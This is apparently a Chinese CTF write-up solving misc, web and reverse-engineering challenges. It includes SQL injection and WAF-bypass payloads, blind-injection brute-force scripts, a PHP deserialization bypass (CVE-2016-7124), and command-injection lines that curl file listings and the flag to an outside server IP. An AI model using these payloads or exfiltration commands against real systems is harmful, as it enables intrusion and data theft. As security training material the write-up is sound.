2.1.题目信息
地址: QQ群:184517991
分值: 50分
Flag: flag{welcome_swpu_ctf}
2.2.解题过程
进入他们官方的QQ群,找了一圈没找到Flag,然后问了下管理员,管理员表示Flag在历史公告,But我的Mac QQ并不能看历史公告,于是。。。
嗯,这是一道送分题
3.Misc150(Misc2)
2.1.题目信息
地址: http://misc.08067.me/misc2/misc.pcapng
分值: 150分
Flag: flag{Rgb_dhskjadyhjksndjsagh}
2.2.解题过程
得到是个pcapng包,直接丢WireShark
发现有一大堆的HTTP通信包,于是直接看下HTTP的导出对象里有什么,果然功夫不负有心人
有一个名为flag.zip的文件,解压开,得到一个名为ce.txt的文件,打开之后发现其记载的似乎是一些RGB值
然后估计应该是依据这些RGB值来画图,看了一下这些信息,有98457行
然后首先要得到图片的长和宽,把98457因式分解下可得到
1 |
98457 = 37 * 3 * 887 |
感觉887作为长是比较OK的,37*3作为宽,于是得到图片大小为887 * 111
接下来写个小程序就可以画出来了
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
from PIL import Image x=887 # 长 y=111 # 宽 f = open("ce.txt", ‘r‘) rgbinfo = f.readlines() f.close() c = Image.new("RGB", (x, y)) for i in range(0, x): for j in range(0, y): rgb = rgbinfo[i * y + j].split(", ") c.putpixel([i, j],(int(rgb[0]), int(rgb[1]), int(rgb[2]))) c.show() |
4.Misc100(Misc4)
2.1.题目信息
地址: http://misc.08067.me/misc4/fuck.html
分值: 100分
Flag: flag{wjTdUoAgqzxxnjfa9kan}
2.2.解题过程
老实说,这也是一道送分题,给的说明是fuck!!fuck!!,进去一看,乐了,JSFuck,于是估计下一个是BrainFuck
直接丢Chrome的Console跑一下
还真是BrainFuck
1 |
+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<++++[ ->+++ +<]>+ +++.- ---.< +++[- >---< ]>--- -.<++ ++[-> ----< ]>------.< ++++[ ->+++ +<]>. <+++[ ->--- <]>-- ----. <++++ +[->+ ++++< ]>+.<+++++ +[->- ----- <]>-- ----- ---.< +++++ +[->+ +++++ <]>++ .<+++ [->+++<]>+ .++++ +++++ .--.. <+++[ ->--- <]>-. ----. ----. ----- .<+++ +++[->---- --<]> ----. <++++ +++[- >++++ +++<] >+.<+ ++[-> ---<] >-.<+ ++[->+++<] >++++ .<+++ [->++ +<]>+ +++++ .< |
找到一个在线运行这玩意的网站,拿到了Flag
https://www.nayuki.io/page/brainfuck-interpreter-javascript
5.Web200-1(Web1)
2.1.题目信息
地址: http://web1.08067.me/
分值: 200分
Flag: flag{sql_iNJEct_comMond_eXEC!}
2.2.解题过程
只给了一个登录框,然后没了,那么尝试了一下admin, admin提示密码错误,再尝试了下其他的用户名密码,提示用户名错误,确定用户名就是admin
然后尝试了下万能密码,发现是有WAF检测的
另外HTTP头这里给出了提示
1 |
JHF1ZXJ5PSJTRUxFQ1QgKiBGUk9NIGFkbWluIFdIRVJFIHVuYW1lPSciLiR1bmFtZS4iJyI7aWYgKCRyb3dbJ3Bhc3N3ZCddPT09JHBhc3N3ZCl7JF9TRVNTSU9OWydmbGFnJ10gPSAxOw== |
base64_decode之后内容为
1 2 3 4 |
$query="SELECT * FROM admin WHERE uname=‘".$uname."‘"; if ($row[‘passwd‘]===$passwd){ $_SESSION[‘flag‘] = 1; } |
得到了他的查询语句。
如果被ban了则提示illegal [email protected][email protected]
那么首先先看下都有哪些被ban了,经过Fuzz发现
1 2 3 4 5 6 7 8 |
空格 or and union + * , <TAB> 制表符 |
等等,都是被ban掉了,所以我们可用的就剩下
1 2 3 4 5 6 |
() ‘ = select from where |
以及不含关键词的mysql自带函数
于是这是肉眼可见的一个盲注,接下来怎么注入就是问题了
显然没了空格,那么得先找到一个办法不需要空格也能注入的,因为*被Ban了所以注释代替空格也废了
在网上查找了一番,发现可以利用括号来代替空格
MySQL
1 2 |
select pass from admin where user=‘Seclover‘ select(pass)from(admin)where(user)=(‘Seclover‘) |
这两条语句是没有任何区别的
于是,在这里我们可以用()来绕过空格被过滤的情况,第一步,大功告成,
然后接下来,得想一个办法把末尾的’消灭掉,因为用空格代替之后的语句最后一个肯定是),But人家原先的语句最后一个肯定是’,所以接下来就需要构造我们的布尔条件了
在mysql的where里,允许如下这种的比较
MySQL
1 |
select pass from admin where user=‘-1‘=1=‘0‘ |
其比较过程从左至右,依次比较,需要注意的是,在mysql里字符串表示为真,数字1(字符串格式的数字同样)同样表示为真,数字0(字符串格式的数字同样)可以表示为假,没取到数据也可以表示为假
1 2 3 |
user的查询结果和‘-1‘比较 --> 结果为假(0) 假与1比较 ----------------> 结果为假(0) 假与‘0‘比较 --------------> 结果为真(1) |
于是最后的结果为真,所以我们可以控制的是他的逻辑
让原先的查询条件(user=xxx)为假,让最后的比较(xxx=’0′)为假,这样我们在中间的1就可以自己任意控制了,再加上mysql的子查询,就可以构造出完整的payload
MySQL
1 2 3 4 |
# -------------- Payload -------------- # uname=uname‘=(select(1)from(admin)where(‘1‘)=(‘1‘))=‘&passwd=1 # -------------- 查询语句 -------------- # SELECT * FROM admin WHERE uname=‘uname‘=(select(1)from(admin)where(‘1‘)=(‘1‘))=‘‘; |
提交之后发现提示password error,说明uname取出来了,即我们给出的条件为真
但是如果没取出来,则提示username error,说明uname没取出来,即我们给出的条件为假
于是接下来我们只要跑这个布尔盲注即可
然后猜passwd有多少位,二分法,最多100位,他不会真丧心病狂的把passwd搞成100位以上吧
MySQL
1 2 3 4 5 6 7 8 9 10 11 |
# -------------- Payload -------------- # uname=uname‘=(select(1)from(admin)where(length(passwd))<100)=‘&passwd=1 # 正确,位数< 100 uname=uname‘=(select(1)from(admin)where(length(passwd))<50)=‘&passwd=1 # 正确,位数< 50 uname=uname‘=(select(1)from(admin)where(length(passwd))<25)=‘&passwd=1 # 错误,25 < 位数 < 50 uname=uname‘=(select(1)from(admin)where(length(passwd))<30)=‘&passwd=1 # 错误,30 < 位数 < 50 uname=uname‘=(select(1)from(admin)where(length(passwd))<35)=‘&passwd=1 # 正确,30 < 位数 < 35 uname=uname‘=(select(1)from(admin)where(length(passwd))<33)=‘&passwd=1 # 正确,30 < 位数 < 33 uname=uname‘=(select(1)from(admin)where(length(passwd))<32)=‘&passwd=1 # 错误,32 < 位数 < 33 uname=uname‘=(select(1)from(admin)where(length(passwd))=32)=‘&passwd=1 # 正确,位数=32 # -------------- 查询语句 -------------- # SELECT * FROM admin WHERE uname=‘uname‘=(select(1)from(admin)where(length(passwd))=32)=‘‘; |
passwd有32位,猜测是个md5,
然后发现有个坑···逗号被ban了,尴尬,mid substr都废了,But这俩要废了,布尔盲注就相当于废了,本着不信邪的原则上网各种找资料
在http://www.2cto.com/Article/201609/545408.html找到这么一段话
逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。MySQL
1
2
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
但是for里又包含关键词or,所以for也不能用,最后尝试把for 1直接删掉,发现是可以执行的
不断变换最后from的1(N),则mid或是substr将会从右往左开始取第N位到末尾
上个图就很容易看明白了
OK,最后一个问题也解决了,愉快的注入吧
这里写了个python的小脚本来慢慢跑
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
import hackhttp hh = hackhttp.hackhttp() md5_str = ‘1234567890abcdef‘ flag = "" url = "http://web1.08067.me/login.php" for length in range(0,33): for i in md5_str: raw = ‘‘‘POST /login.php HTTP/1.1 Host: web1.08067.me Content-Length: 76 Cache-Control: max-age=0 Origin: http://web1.08067.me Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 DNT: 1 Referer: http://web1.08067.me/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: PHPSESSID=h28ht7sld80jlsvcil0q5e2p90 uname=uname‘=(select(1)from(admin)where(mid((passwd)from(%d))=‘%s%s‘))=‘&passwd=1‘‘‘ % (32-length,i,flag) a,b,c,d,e = hh.http(url,raw=raw) if "password" in c: flag = i + flag print 32-length,flag |
很快结果就出来了
1 |
c12366feb7373bf6d869ab7d581215cf |
扔到cmd5查一下
OK,得到密码为1234567mn,直接用admin登陆进去吧
登陆进去懵逼了,一脸懵逼,对角懵逼,排比懵逼,二叉树懵逼,霍夫曼懵逼,薛定谔懵逼,空中转体两周半懵逼,阿姆斯特朗回旋加速式阿姆斯特朗懵逼,反正就是各种懵逼就对了
What The Fuck!!!!,这踏马是个什么鬼!!!说好的Flag呢!!!
看来还有最后的考验,看起来像是命令执行,执行成功会有提示,失败了也会有提示,就是没有回显,然而一旦命令里有空格就GG了,好吧,找个在linux能代替空格的东西
在本机尝试之后,发现这玩意,也就是制表符能代替Linux命令行下的空格
最后就是解决回显的问题了,在问了出题人之后,确认了自己的思路,需要利用Cloud Eye或是Web Server Log把数据透传出来
那简单了,利用这个把命令裹起来,然后curl到自己服务器,直接查看自己服务器的Web Server Log就可以知道数据了
最终的payload
Shell
1 2 3 4 5 |
curl http://114.215.113.20/`ls ./|head -n 1 | tail -n 1` curl http://114.215.113.20/`ls ./|head -n 2 | tail -n 1` curl http://114.215.113.20/`ls ./|head -n 3 | tail -n 1` curl http://114.215.113.20/`ls ./|head -n 4 | tail -n 1` curl http://114.215.113.20/`ls ./|head -n 5 | tail -n 1` |
执行完成之后用head和tail取其中第N条数据,然后带着这个数据去访问我的服务器,我只要查看我的webserver的log就可以了
看来flag不在当前目录,跳到上层目录看看
Shell
1 2 3 4 5 6 7 8 9 10 |
curl http://114.215.113.20/`ls ../|head -n 1 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 2 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 3 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 4 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 5 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 6 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 7 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 8 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 9 | tail -n 1` curl http://114.215.113.20/`ls ../|head -n 10 | tail -n 1` |
上层目录也没有,再往上看
Shell
1 2 3 4 |
curl http://114.215.113.20/`ls ../../|head -n 1 | tail -n 1` curl http://114.215.113.20/`ls ../../|head -n 2 | tail -n 1` curl http://114.215.113.20/`ls ../../|head -n 3 | tail -n 1` curl http://114.215.113.20/`ls ../../|head -n 4 | tail -n 1` |
嗯,看到flag了,cat下看看
Shell
1 |
curl http://114.215.113.20/`cat ../../flag` |
搞定,flag似乎少了{},在flag之后和末尾加上就好了
6.WEB200-2(Web3)
2.1.题目信息
地址: http://web3.08067.me/wakeup/index.php
分值: 200分
Flag: flag{WakEup!_v1ry_f4N}
2.2.解题过程
提示,出题人喜欢在编辑器下修改代码,于是猜测是不是有.bak .swp文件,查看了一下robots.txt和bak swp文件
得到两个bak
/wakeup/index.php.bak
PHP
1 2 3 4 5 6 7 8 9 10 |
if(isset($_COOKIE[‘user‘])){ $login = @unserialize(base64_decode($_COOKIE[‘user‘])); if(!empty($login->pass)){ $status = $login->check_login(); if($status == 1){ $_SESSION[‘login‘] = 1; var_dump("login by cookie!!!"); } } } |
/wakeup/index.php.bak
PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 |
class help { static function addslashes_deep($value) { if (empty($value)) { return $value; } else { if (!get_magic_quotes_gpc()) { $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value)); } else { $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value); } return $value; } } static function remove_xss($string) { $string = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $string); $parm1 = Array(‘javascript‘, ‘union‘,‘vbscript‘, ‘expression‘, ‘applet‘, ‘xml‘, ‘blink‘, ‘link‘, ‘script‘, ‘embed‘, ‘object‘, ‘iframe‘, ‘frame‘, ‘frameset‘, ‘ilayer‘, ‘layer‘, ‘bgsound‘, ‘base‘); $parm2 = Array(‘onabort‘, ‘onactivate‘, ‘onafterprint‘, ‘onafterupdate‘, ‘onbeforeactivate‘, ‘onbeforecopy‘, ‘onbeforecut‘, ‘onbeforedeactivate‘, ‘onbeforeeditfocus‘, ‘onbeforepaste‘, ‘onbeforeprint‘, ‘onbeforeunload‘, ‘onbeforeupdate‘, ‘onblur‘, ‘onbounce‘, ‘oncellchange‘, ‘onchange‘, ‘onclick‘, ‘oncontextmenu‘, ‘oncontrolselect‘, ‘oncopy‘, ‘oncut‘, ‘ondataavailable‘, ‘ondatasetchanged‘, ‘ondatasetcomplete‘, ‘ondblclick‘, ‘ondeactivate‘, ‘ondrag‘, ‘ondragend‘, ‘ondragenter‘, ‘ondragleave‘, ‘ondragover‘, ‘ondragstart‘, ‘ondrop‘, ‘onerror‘, ‘onerrorupdate‘, ‘onfilterchange‘, ‘onfinish‘, ‘onfocus‘, ‘onfocusin‘, ‘onfocusout‘, ‘onhelp‘, ‘onkeydown‘, ‘onkeypress‘, ‘onkeyup‘, ‘onlayoutcomplete‘, ‘onload‘, ‘onlosecapture‘, ‘onmousedown‘, ‘onmouseenter‘, ‘onmouseleave‘, ‘onmousemove‘, ‘onmouseout‘, ‘onmouseover‘, ‘onmouseup‘, ‘onmousewheel‘, ‘onmove‘, ‘onmoveend‘, ‘onmovestart‘, ‘onpaste‘, ‘onpropertychange‘, ‘onreadystatechange‘, ‘onreset‘, ‘onresize‘, ‘onresizeend‘, ‘onresizestart‘, ‘onrowenter‘, ‘onrowexit‘, ‘onrowsdelete‘, ‘onrowsinserted‘, ‘onscroll‘, ‘onselect‘, ‘onselectionchange‘, ‘onselectstart‘, ‘onstart‘, ‘onstop‘, ‘onsubmit‘, ‘onunload‘,‘href‘,‘action‘,‘location‘,‘background‘,‘src‘,‘poster‘); $parm3 = Array(‘alert‘,‘sleep‘,‘load_file‘,‘confirm‘,‘prompt‘,‘benchmark‘,‘select‘,‘and‘,‘or‘,‘xor‘,‘update‘,‘insert‘,‘delete‘,‘alter‘,‘drop‘,‘truncate‘,‘script‘,‘eval‘,‘outfile‘,‘dumpfile‘); $parm = array_merge($parm1, $parm2, $parm3); for ($i = 0; $i < sizeof($parm); $i++) { $pattern = ‘/‘; for ($j = 0; $j < strlen($parm[$i]); $j++) { if ($j > 0) { $pattern .= ‘(‘; $pattern .= ‘(&#[x|X]0([9][a][b]);?)?‘; $pattern .= ‘|(�([9][10][13]);?)?‘; $pattern .= ‘)?‘; } $pattern .= $parm[$i][$j]; } $pattern .= ‘/i‘; $string = preg_replace($pattern, ‘****‘, $string); } return $string; } static function mystrip_tags($string) { $string = help::new_html_special_chars($string); $string = help::remove_xss($string); return $string; } static function new_html_special_chars($string) { $string = str_replace(array(‘&‘, ‘"‘, ‘<‘, ‘>‘,‘&#‘), array(‘&‘, ‘"‘, ‘<‘, ‘>‘,‘***‘), $string); return $string; } // 实体出库 static function htmlspecialchars_($value) { if (empty($value)) { return $value; } else { if(is_array($value)){ foreach ($value as $k => $v) { $value[$k] = self::htmlspecialchars_($v); } }else{ $value = htmlspecialchars($value); } return $value; } } //sql 过滤 static function CheckSql($db_string,$querytype=‘select‘) { $clean = ‘‘; $error=‘‘; $old_pos = 0; $pos = -1; if($querytype==‘select‘) { $notallow1 = "[^[email protected]\._-]{1,}(load_file|outfile)[^[email protected]\.-]{1,}"; if(preg_match("/".$notallow1."/i", $db_string)) { exit("Error"); } } //完整的SQL检查 while (TRUE) { $pos = strpos($db_string, ‘\‘‘, $pos + 1); if ($pos === FALSE) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string, ‘\‘‘, $pos + 1); $pos2 = strpos($db_string, ‘\\‘, $pos + 1); if ($pos1 === FALSE) { break; } elseif ($pos2 == FALSE || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= ‘$s$‘; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array(‘~\s+~s‘ ), array(‘ ‘), $clean))); if (strpos($clean, ‘@‘) !== FALSE OR strpos($clean,‘char(‘)!== FALSE OR strpos($clean,‘"‘)!== FALSE OR strpos($clean,‘$s$$s$‘)!== FALSE) { $fail = TRUE; if(preg_match("#^create table#i",$clean)) $fail = FALSE; $error="unusual character"; } elseif (strpos($clean, ‘/*‘) !== FALSE ||strpos($clean, ‘-- ‘) !== FALSE || strpos($clean, ‘#‘) !== FALSE) { $fail = TRUE; $error="comment detect"; } elseif (strpos($clean, ‘sleep‘) !== FALSE && preg_match(‘~(^|[^a-z])sleep($|[^[a-z])~is‘, $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, ‘benchmark‘) !== FALSE && preg_match(‘~(^|[^a-z])benchmark($|[^[a-z])~is‘, $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, ‘load_file‘) !== FALSE && preg_match(‘~(^|[^a-z])load_file($|[^[a-z])~is‘, $clean) != 0) { $fail = TRUE; $error="file fun detect"; } elseif (strpos($clean, ‘into outfile‘) !== FALSE && preg_match(‘~(^|[^a-z])into\s+outfile($|[^[a-z])~is‘, $clean) != 0) { $fail = TRUE; $error="file fun detect"; } if (!empty($fail)) { exit("Error" . $error); } else { return $db_string; } } } class login{ var $uid = 0; var $name=‘‘; var $pass=‘‘; //检查用户是否已登录 public function check_login(){ mysql_conn(); $sqls = "select * from phpinfoadmin where username=‘$this->name‘"; $sqls = help::CheckSql($sqls); $re = mysql_query($sqls); $results = @mysql_fetch_array($re); //echo $sqls . $results[‘passwd‘]; mysql_close(); if (!empty($results)) { if($results[‘passwd‘] == $this->pass) { return 1; } else { return 0; } } } //预防cookie某些破坏导致登陆失败 public function __destruct(){ $this->check_login(); } //反序列化时检查数据 public function __wakeup(){ $this->name = help::addslashes_deep($this->name); $this->pass = help::addslashes_deep($this->pass); } } ?> |
从代码逻辑可以看到从Cookie里取user的值,然后base64_decode,然后反序列化到login这个类,反序列化之后先执行__wakeup(),然后执行__destruct()
在__wakeup()里可以看到几乎过滤了全部注入/XSS的关键词
所以首先要把__wakeup()给Bypass掉
在网上寻找之后,发现在php5.6以下的版本是有一漏洞的,CVE-2016-7124
http://www.tuicool.com/articles/aMfeEfJ
https://bugs.php.net/bug.php?id=72663
当序列化之后的字符串定义的的元素个数与实际个数不符合的时候(定义个数大于实际个数),__wakeup()将不会执行
那么接下来构造序列化字符串就行
PHP
1 2 3 |
O:5:"login":2:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";} ---------------------- O:5:"login":5:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";} |
当使用第二条序列化的字符串时,将会绕过__wakeup()的执行
包裹的字符串会当做表名/列名处理,如果是包裹的单引号的话,也就相当于什么都没有包裹,于是只要改变原有的where条件就可以了。
OK,第一步已经完成了,接下来想办法绕过help::CheckSql()的检查即可
这里卡了半天,最后不得已问了下出题人,出题人表示这里是个时间盲注,然后看了下代码,sleep被ban了。然后再问出题人,出题人表示和80sec-ids有关,然后就不说话了- -!
在DeDeCMS里用的也是这一个WAF,在网络上查找一番之后,发现如果数据被两个引号包裹的话,就不会进行检测,也就意味着sleep可以逃逸出来了,然后想办法把引号包含进去,在查(xun)阅(web)过相关(chu)资(ti)料(ren)之后,了解到在mysql中,以
那么最终的payload就是
MySQL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=34) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=35) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=36) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=37) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=38) and (`‘`.``.username=1 or sleep(3)) # ········· # ------------------------------------------------------------------------------------------------------ # admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=33) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=34) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=35) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=36) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=37) and (`‘`.``.username=1 or sleep(3)) # admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=38) and (`‘`.``.username=1 or sleep(3)) # ········· |
写个小程序去处理这一切吧
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
import hackhttp import time def base64(s): import base64 return base64.b64encode(s) hh = hackhttp.hackhttp() flag = "" for i in range(1,40): for j in range(33,125): payload = "admin‘ and (select 1 from flag where ascii(mid(flag,%d,1))=%d) and (`‘`.``.username=1 or sleep(3)) #"% (i,j) payload_len = len(payload) serialize_str = ‘‘‘O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}‘‘‘ % (payload_len,payload) raw = ‘‘‘GET /wakeup/index.php HTTP/1.1 Host: web3.08067.me Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 DNT: 1 Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: user=%s ‘‘‘ % base64(serialize_str) url = "http://web3.08067.me/wakeup/index.php" start = time.time() a,b,c,d,e = hh.http(url,raw=raw) end = time.time() exec_time = end-start if exec_time > 3: flag += chr(j) print i,flag break |
差不多5分钟左右flag就出来了(时间盲注真够蛋疼的)
这里是成功的图
7.REVERSE50(CM50)
2.1.题目信息
地址: http://misc.08067.me/CM50/CM50.exe
分值: 50分
Flag: Flag{sWpU_the_1_R3}
2.2.解题过程
讲道理,这题也是一个送分题,基本可以看做是Reverse类型的签到题
下载下来是个exe,打开之后提示缺少两个dll,mfc120ud.dll和msvcr120d.dll,补齐dll后界面如图所示
丢到IDA里没发现啥东西,然后突发奇想是不是把什么元素/控件隐藏起来了,于是用ResHacker打开看看,果不其然Flag就在其中
8.REVERSE100(CM100)
2.1.题目信息
地址: http://misc.08067.me/CM100/CM100.exe
分值: 100分
Flag: Flag{lr{-l0F-)uFe?}
2.2.解题过程
CM100不是我做的,找了Incken帮我搞定的,所以这里也就直接让他帮我写了这题的WP。
先查下壳,没有。直接扔进OD,运行。提示“wrong”,在堆栈向下找
这里似乎是flag,但其实不是。还是静态分析吧。
在ida里直接搜索字串flag。
找到位置直接F5看C代码。
获取输入值后先与12345678异或,然后与26544631比较,真则设dword_DE4028为1,否则设0并报”wrong”。
之后异或值再与12345678异或参与真flag的计算。Text为假flag字串。
上图中标出的位置应该是由于不小心,导致了V10的访问过界。应该是i % 8。
剩下就简单了,所以最后的密码也就是输入值与12345678异或之后和26544631
反过来就是
1 |
12345678 ^ 26544631 = 19491001 |
通过12345678与26544631异或算出正确输入值.
然后让程序告诉我们真的flag吧。
9.WEB50(Web签到)
2.1.题目信息
地址: http://139.196.35.85/
分值: 50分
Flag: flag{This_a_web!}
2.2.解题过程
Web系列的签到题,右键查看源代码就行
10.REVERSE150
2.1.题目信息
地址: http://misc.08067.me/CM150/cm150.apk
分值: 150分
Flag: Flag{I’m_s0_Tir3D|T-T}
2.2.解题过程
题目是个apk,安装上去之后只有一个输入框和一个按钮
不说话,直接拖到jadx里看源代码,在com.example.test1这个包的MainActiveity里就可以直接看到代码
Java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 |
package com.example.test1; import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class MainActivity extends Activity { String Flag = ""; String encode; String encode1; int flag = 0; public String Encode1(String Flag, int len) { char[] xor = Flag.toCharArray(); int[] encode = new int[16]; if (len != 16) { return "lalalalalalala~~"; } int i; for (i = 0; i < Flag.length(); i++) { encode[i] = xor[i]; encode[i] = encode[i] ^ 29; } for (i = 1; i < 8; i++) { int temp = encode[i]; encode[i] = encode[15 - i]; encode[15 - i] = encode[i]; } for (i = 0; i < 16; i++) { xor[i] = (char) encode[i]; } return String.valueOf(xor); } public String Encode2(String encode, String Flag) { char[] xor1 = encode.toCharArray(); char[] xor2 = Flag.toCharArray(); for (int i = 0; i < 16; i++) { if (i % 2 == 0) { xor1[i] = xor2[i]; } } return String.valueOf(xor1); } public int chack(String encode1) { char[] xor = encode1.toCharArray(); int[] sum = new int[16]; int[] sum1 = new int[]{73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73}; for (int i = 0; i < 16; i++) { sum[i] = xor[i]; if (sum[i] != sum1[i]) { return 0; } } return 1; } protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ((Button) findViewById(R.id.button1)).setOnClickListener(new OnClickListener() { public void onClick(View v) { EditText Text1 = (EditText) MainActivity.this.findViewById(R.id.Text1); MainActivity.this.Flag = Text1.getText().toString(); if (MainActivity.this.Flag.length() != 16) { Toast.makeText(MainActivity.this, "something wrong~~", 0).show(); return; } MainActivity.this.encode = MainActivity.this.Encode1(MainActivity.this.Flag, MainActivity.this.Flag.length()); MainActivity.this.encode1 = MainActivity.this.Encode2(MainActivity.this.encode, MainActivity.this.Flag); MainActivity.this.flag = MainActivity.this.chack(MainActivity.this.encode1); if (MainActivity.this.flag == 1) { Toast.makeText(MainActivity.this, "WOw~, You got it !", 0).show(); } else { Toast.makeText(MainActivity.this, "trg again~", 0).show(); } } }); } public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.main, menu); return true; } public boolean onOptionsItemSelected(MenuItem item) { if (item.getItemId() == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } } |
根据代码流程,输入的字符串要为16位,然后进行Encode1
Encode1的过程如下
把字符串的每个字符的ASCII HEX转成数组(toCharArray),
每一位与0x29异或,然后把
第14位的值设为第2位
第13位的值设为第3位
第12位的值设为第4位
第11位的值设为第5位
第10位的值设为第6位
第9位的值设为第7位
然后结果return回去,Encode1就完了,进入Encode2阶段
在Encode2阶段,把每个双数位的值换成相应位置输入的值
例如输入abcdefghijklmnop,encode之后的结果为|rspqvwttwvqpsrm
然后进入encode2,双位替换
1 2 3 4 5 6 7 8 |
|rspqvwttwvqpsrm Encode1(input) abcdefghijklmnop input | | | | | | | | | | | | | | | | +-+-+-+-+-+-+-+- +替换 -不替换 |r|p|v|t|w|q|s|m | | | | | | | | arcpevgtiwkqmsom output |
经过Encode2的结果与{73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73}的每一位比较
所以第一步就可以先把Encode2的结果推回去,先转换为ASCII字符 I0mas._tio3Y|I-I
1 2 3 |
I0mas._tio3Y|I-I | | | | | | | | I*m*s*_*i*3*|*_* Encode1(input) *代表未知 |
然后在Encode1里有交换,所以可以得出交换赋值之前的内容
1 2 3 4 5 6 7 8 9 |
I*m*s*_*i*3*|*_* |||||||||||||| ||||||++|||||| |||||+--+||||| ||||+----+|||| |||+------+||| ||+--------+|| |+----------+| +------------+ |
妈的想不来,写不下去了,
反正我是把算法拿出来,比较的时候打印人工爆破出来的
经过无数次尝试(大约50来次吧),得出的答案是I*m*s*_*ir3D|T-T * 代表任意字符,也就是说此题有多解
问了下出题人,截图给出题人证明之后,出题人给了flag
11.REVERSE200
2.1.题目信息
地址: http://misc.08067.me/CM200/CM200.exe
分值: 200分
